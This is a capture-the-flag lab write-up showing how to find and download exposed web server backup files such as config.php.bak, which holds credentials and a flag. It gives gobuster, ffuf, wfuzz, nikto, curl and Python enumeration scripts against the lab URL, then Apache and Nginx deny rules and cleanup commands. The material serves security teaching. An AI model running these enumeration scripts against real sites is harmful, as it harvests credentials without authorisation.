Can you uncover the secrets hidden in forgotten backup files?

Solution: Backup Hunter

This challenge demonstrates how to discover and exploit exposed backup files on web servers, a common vulnerability found during penetration testing and security assessments.

Step 1: Initial Reconnaissance

Access the challenge at https://lab.hdna.me/138-backup-hunter to observe the target:

1. Navigate to the challenge URL in your web browser
2. Observe a corporate login portal with username and password fields
3. Note the error message indicating access is denied
4. Attempting to login with common credentials fails
5. No obvious vulnerabilities or information leaks in the HTML source

At this point, direct access appears blocked. We need to discover additional files or endpoints.

Step 2: Understanding Backup Files

Web servers often contain backup files that developers or administrators create during maintenance:

• Common extensions: .bak, .old, .backup, .save, .copy, ~
• Editor backups: .swp (Vim), .un~ (Vim undo), ~ (Emacs)
• Common filenames: config, credentials, database, settings, admin
• Common PHP files: config.php, database.php, credentials.php, settings.php

The strategy is to enumerate common backup file patterns based on likely configuration files.

Step 3: Manual Enumeration

Test common backup file patterns manually by accessing URLs directly:

# Try common configuration file backups
https://lab.hdna.me/138-backup-hunter/config.php.bak
https://lab.hdna.me/138-backup-hunter/config.php.old
https://lab.hdna.me/138-backup-hunter/database.php.bak
https://lab.hdna.me/138-backup-hunter/settings.php~
https://lab.hdna.me/138-backup-hunter/admin.php.backup

Testing these URLs reveals that config.php.bak is accessible and downloads a backup file.

Step 4: Automated Discovery with Gobuster

Use Gobuster with a custom wordlist to automate backup file discovery:

# Create backup extensions wordlist
cat > backup-extensions.txt << EOF
.bak
.old
.backup
.save
.copy
~
.swp
.tmp
_backup
-old
EOF

# Run gobuster with extension enumeration
gobuster dir -u https://lab.hdna.me/138-backup-hunter/ \
  -w /usr/share/wordlists/dirb/common.txt \
  -x bak,old,backup,save,copy,swp,tmp \
  -t 50

# Alternative: Test specific files
for ext in bak old backup save copy; do
  curl -I "https://lab.hdna.me/138-backup-hunter/config.php.$ext"
done

Step 5: Using ffuf for Fuzzing

ffuf is another powerful tool for discovering backup files:

# Create common filenames list
cat > filenames.txt << EOF
config
credentials
database
settings
admin
db
conn
connection
EOF

# Fuzz with multiple extensions
ffuf -u https://lab.hdna.me/138-backup-hunter/FUZZ.php.FUZ2Z \
  -w filenames.txt:FUZZ \
  -w backup-extensions.txt:FUZ2Z \
  -mc 200 \
  -c

# The tool will discover config.php.bak returns HTTP 200

Step 6: Using Burp Suite Intruder

Burp Suite can systematically test backup file patterns:

1. Configure browser proxy through Burp Suite
2. Visit the challenge URL to capture traffic
3. Send a request to Intruder
4. Set payload position: /138-backup-hunter/PAYLOAD
5. Load wordlist with patterns: config.php.bak, database.php.old, settings.php.backup, etc.
6. Start attack and filter for HTTP 200 responses
7. Download the discovered backup file

Step 7: Command Line with cURL

Simple shell script to test backup file patterns:

#!/bin/bash
BASE_URL="https://lab.hdna.me/138-backup-hunter"
FILES=("config" "credentials" "database" "settings" "admin")
EXTS=("bak" "old" "backup" "save" "copy" "~")

for file in "${FILES[@]}"; do
  for ext in "${EXTS[@]}"; do
    URL="$BASE_URL/$file.php.$ext"
    STATUS=$(curl -s -o /dev/null -w "%{http_code}" "$URL")
    if [ "$STATUS" -eq 200 ]; then
      echo "[+] Found: $URL"
      curl -s "$URL" -o "$file.php.$ext"
    fi
  done
done

Step 8: Analyzing the Backup File

Once config.php.bak is downloaded, examine its contents:

cat config.php.bak

The backup file contains sensitive information:

• Database credentials (username, password, host)
• Admin API key
• SMTP server credentials
• Session secret
• The flag value

The flag is stored in the $flag variable within the backup file.

Step 9: Understanding the Vulnerability

This backup file exposure occurred because:

• The developer created a backup before editing the configuration file
• The backup was saved in the web-accessible directory
• Web server was not configured to block access to .bak files
• The file was not included in .gitignore or deployment exclusions
• No security scanner detected the exposed file before deployment

Alternative Discovery Methods

Method 1: WFuzz

wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt \
  --hc 404 \
  https://lab.hdna.me/138-backup-hunter/FUZZ.php.bak

Method 2: Nikto Scanner

nikto -h https://lab.hdna.me/138-backup-hunter/ -Tuning x

Method 3: Custom Python Script

import requests

base_url = "https://lab.hdna.me/138-backup-hunter"
files = ["config", "credentials", "database", "settings"]
exts = ["bak", "old", "backup", "save", "copy", "~"]

for filename in files:
    for ext in exts:
        url = f"{base_url}/{filename}.php.{ext}"
        response = requests.get(url)
        if response.status_code == 200:
            print(f"[+] Found: {url}")
            print(response.text)

Real-World Prevention

To prevent backup file exposure in production environments:

Apache .htaccess Configuration

# Block access to backup files
<FilesMatch "\.(bak|old|backup|save|copy|swp|tmp)$">
  Order allow,deny
  Deny from all
</FilesMatch>

# Block files ending with tilde
<FilesMatch "~$">
  Order allow,deny
  Deny from all
</FilesMatch>

Nginx Configuration

location ~ \.(bak|old|backup|save|copy|swp|tmp)$ {
    deny all;
    return 404;
}

location ~ ~$ {
    deny all;
    return 404;
}

Deployment Best Practices

# .gitignore patterns
*.bak
*.old
*.backup
*.save
*.copy
*.swp
*.tmp
*~

# Deployment script to remove backup files
find /var/www/html -type f \( -name "*.bak" -o -name "*.old" \) -delete

Key Takeaways

• Always enumerate common backup file patterns during reconnaissance
• Backup files often contain more sensitive information than production files
• Web servers must be configured to block access to backup file extensions
• Developers should store backups outside web-accessible directories
• Automated deployment processes should exclude backup files
• Regular security scans should detect exposed backup files
• Editor configurations should save backups to secure locations

Congratulations! You've successfully discovered and extracted sensitive information from an exposed backup file. This challenge demonstrates why proper file management and web server hardening are critical components of application security.